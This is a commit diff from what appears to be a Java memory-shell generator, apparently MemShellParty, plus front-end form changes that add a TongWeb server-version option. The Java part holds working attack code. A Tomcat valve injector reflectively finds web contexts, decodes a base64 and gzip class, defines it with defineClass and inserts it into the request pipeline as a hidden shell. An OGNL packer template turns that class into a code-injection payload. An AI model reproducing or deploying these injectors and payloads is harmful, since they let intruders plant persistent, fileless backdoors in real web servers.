Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
-1
@@ -86,9 +86,18 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringUtilsPacker implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -22,6 +22,7 @@ import {
|
||||
FormFieldLabel,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form.tsx";
|
||||
import { Label } from "@/components/ui/label.tsx";
|
||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
|
||||
@@ -47,6 +48,13 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
||||
[ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
|
||||
};
|
||||
|
||||
const defaultServerVersionOptions = [
|
||||
{
|
||||
name: "Unknown",
|
||||
value: "unknown",
|
||||
},
|
||||
];
|
||||
|
||||
export default function MainConfigCard({
|
||||
mainConfig,
|
||||
form,
|
||||
@@ -72,6 +80,8 @@ export default function MainConfigCard({
|
||||
const shellTool = form.watch("shellTool");
|
||||
const { t } = useTranslation();
|
||||
|
||||
const [serverVersionOptions, setServerVersionOptions] = useState(defaultServerVersionOptions);
|
||||
|
||||
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
|
||||
useEffect(() => {
|
||||
if (shellTypes.length > 0) {
|
||||
@@ -110,6 +120,29 @@ export default function MainConfigCard({
|
||||
} else {
|
||||
form.resetField("targetJdkVersion");
|
||||
}
|
||||
|
||||
// 特殊的服务需要指定版本
|
||||
if (value === "TongWeb") {
|
||||
setServerVersionOptions([
|
||||
...defaultServerVersionOptions,
|
||||
{
|
||||
name: "6",
|
||||
value: "6",
|
||||
},
|
||||
{
|
||||
name: "7",
|
||||
value: "7",
|
||||
},
|
||||
{
|
||||
name: "8",
|
||||
value: "8",
|
||||
},
|
||||
]);
|
||||
} else {
|
||||
setServerVersionOptions(defaultServerVersionOptions);
|
||||
}
|
||||
|
||||
form.resetField("serverVersion");
|
||||
form.resetField("bypassJavaModule");
|
||||
form.resetField("urlPattern");
|
||||
}
|
||||
@@ -257,6 +290,32 @@ export default function MainConfigCard({
|
||||
</FormFieldItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="serverVersion"
|
||||
render={({ field }) => (
|
||||
<FormFieldItem>
|
||||
<FormFieldLabel>{t("mainConfig.serverVersion")}</FormFieldLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder={t("placeholders.select")} />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{serverVersionOptions.map((v) => (
|
||||
<SelectItem key={v.value} value={v.value}>
|
||||
{v.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<FormMessage />
|
||||
</FormFieldItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="grid grid-cols-1">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="targetJdkVersion"
|
||||
|
||||
@@ -22,6 +22,7 @@
|
||||
"mainConfig.injectorClassName": "Injector ClassName",
|
||||
"mainConfig.jre": "Target JRE Version",
|
||||
"mainConfig.server": "Target Server",
|
||||
"mainConfig.serverVersion": "Target Server Version",
|
||||
"mainConfig.shellClassName": "Shell ClassName",
|
||||
"mainConfig.shellMountType": "Shell Mount Type",
|
||||
"mainConfig.shellTool": "Shell Tool",
|
||||
@@ -112,6 +113,7 @@
|
||||
"tips.try-to-use-shell": "Try to use the memory shell",
|
||||
"tips.waitingForGeneration": "// Waiting for generation...",
|
||||
"tips.customShellClass": "Custom shell class is required, base64 or classfile",
|
||||
"tips.serverVersion": "serverVersion is required for TongWeb Valve",
|
||||
"version.updateAvailable": "Update Available",
|
||||
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||
"generator": "Generator",
|
||||
|
||||
@@ -22,6 +22,7 @@
|
||||
"mainConfig.injectorClassName": "注入器类名",
|
||||
"mainConfig.jre": "目标 JRE 版本",
|
||||
"mainConfig.server": "目标服务",
|
||||
"mainConfig.serverVersion": "目标服务版本",
|
||||
"mainConfig.shellClassName": "内存马类名",
|
||||
"mainConfig.shellMountType": "内存马挂载类型",
|
||||
"mainConfig.shellTool": "内存马功能",
|
||||
@@ -111,6 +112,7 @@
|
||||
"tips.waitingForGeneration": "// 等待填写参数生成中...",
|
||||
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
|
||||
"tips.specificUrlPattern": "必须指定 URL Pattern,例如 /hello",
|
||||
"tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
|
||||
"version.updateAvailable": "有可用升级",
|
||||
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||
"about": "关于",
|
||||
|
||||
@@ -55,6 +55,7 @@ export default function MemShellPage() {
|
||||
resolver: useYupValidationResolver(formSchema, t),
|
||||
defaultValues: {
|
||||
server: urlParams.server ?? "Tomcat",
|
||||
serverVersion: urlParams.serverVersion ?? "unknown",
|
||||
targetJdkVersion: urlParams.targetJdkVersion ?? "50",
|
||||
debug: urlParams.debug ?? false,
|
||||
bypassJavaModule: urlParams.bypassJavaModule ?? false,
|
||||
|
||||
@@ -6,6 +6,7 @@ import { ShellToolType } from "./shell";
|
||||
|
||||
export const formSchema = yup.object({
|
||||
server: yup.string().required().min(1),
|
||||
serverVersion: yup.string().required().min(1),
|
||||
targetJdkVersion: yup.string().optional(),
|
||||
debug: yup.boolean().optional(),
|
||||
bypassJavaModule: yup.boolean().optional(),
|
||||
@@ -59,6 +60,7 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
|
||||
|
||||
const urlPattern: keyof FormSchema = "urlPattern";
|
||||
const shellClassBase64: keyof FormSchema = "shellClassBase64";
|
||||
const serverVersion: keyof FormSchema = "serverVersion";
|
||||
const errors = {} as any;
|
||||
|
||||
if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) {
|
||||
@@ -73,6 +75,12 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
|
||||
message: t("tips.customShellClass"),
|
||||
};
|
||||
}
|
||||
if (values.server === "TongWeb" && values.shellType === "Valve" && values.serverVersion === "unknown") {
|
||||
errors[serverVersion] = {
|
||||
type: "custom",
|
||||
message: t("tips.serverVersion"),
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
values,
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
export interface ShellConfig {
|
||||
server: string;
|
||||
serverVersion: string;
|
||||
shellTool: string;
|
||||
shellType: string;
|
||||
targetJreVersion?: string;
|
||||
|
||||
@@ -4,6 +4,7 @@ import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
|
||||
export function transformToPostData(formValue: FormSchema) {
|
||||
const shellConfig: ShellConfig = {
|
||||
server: formValue.server,
|
||||
serverVersion: formValue.serverVersion,
|
||||
shellTool: formValue.shellTool,
|
||||
shellType: formValue.shellType,
|
||||
debug: formValue.debug,
|
||||
|
||||
Reference in New Issue
Block a user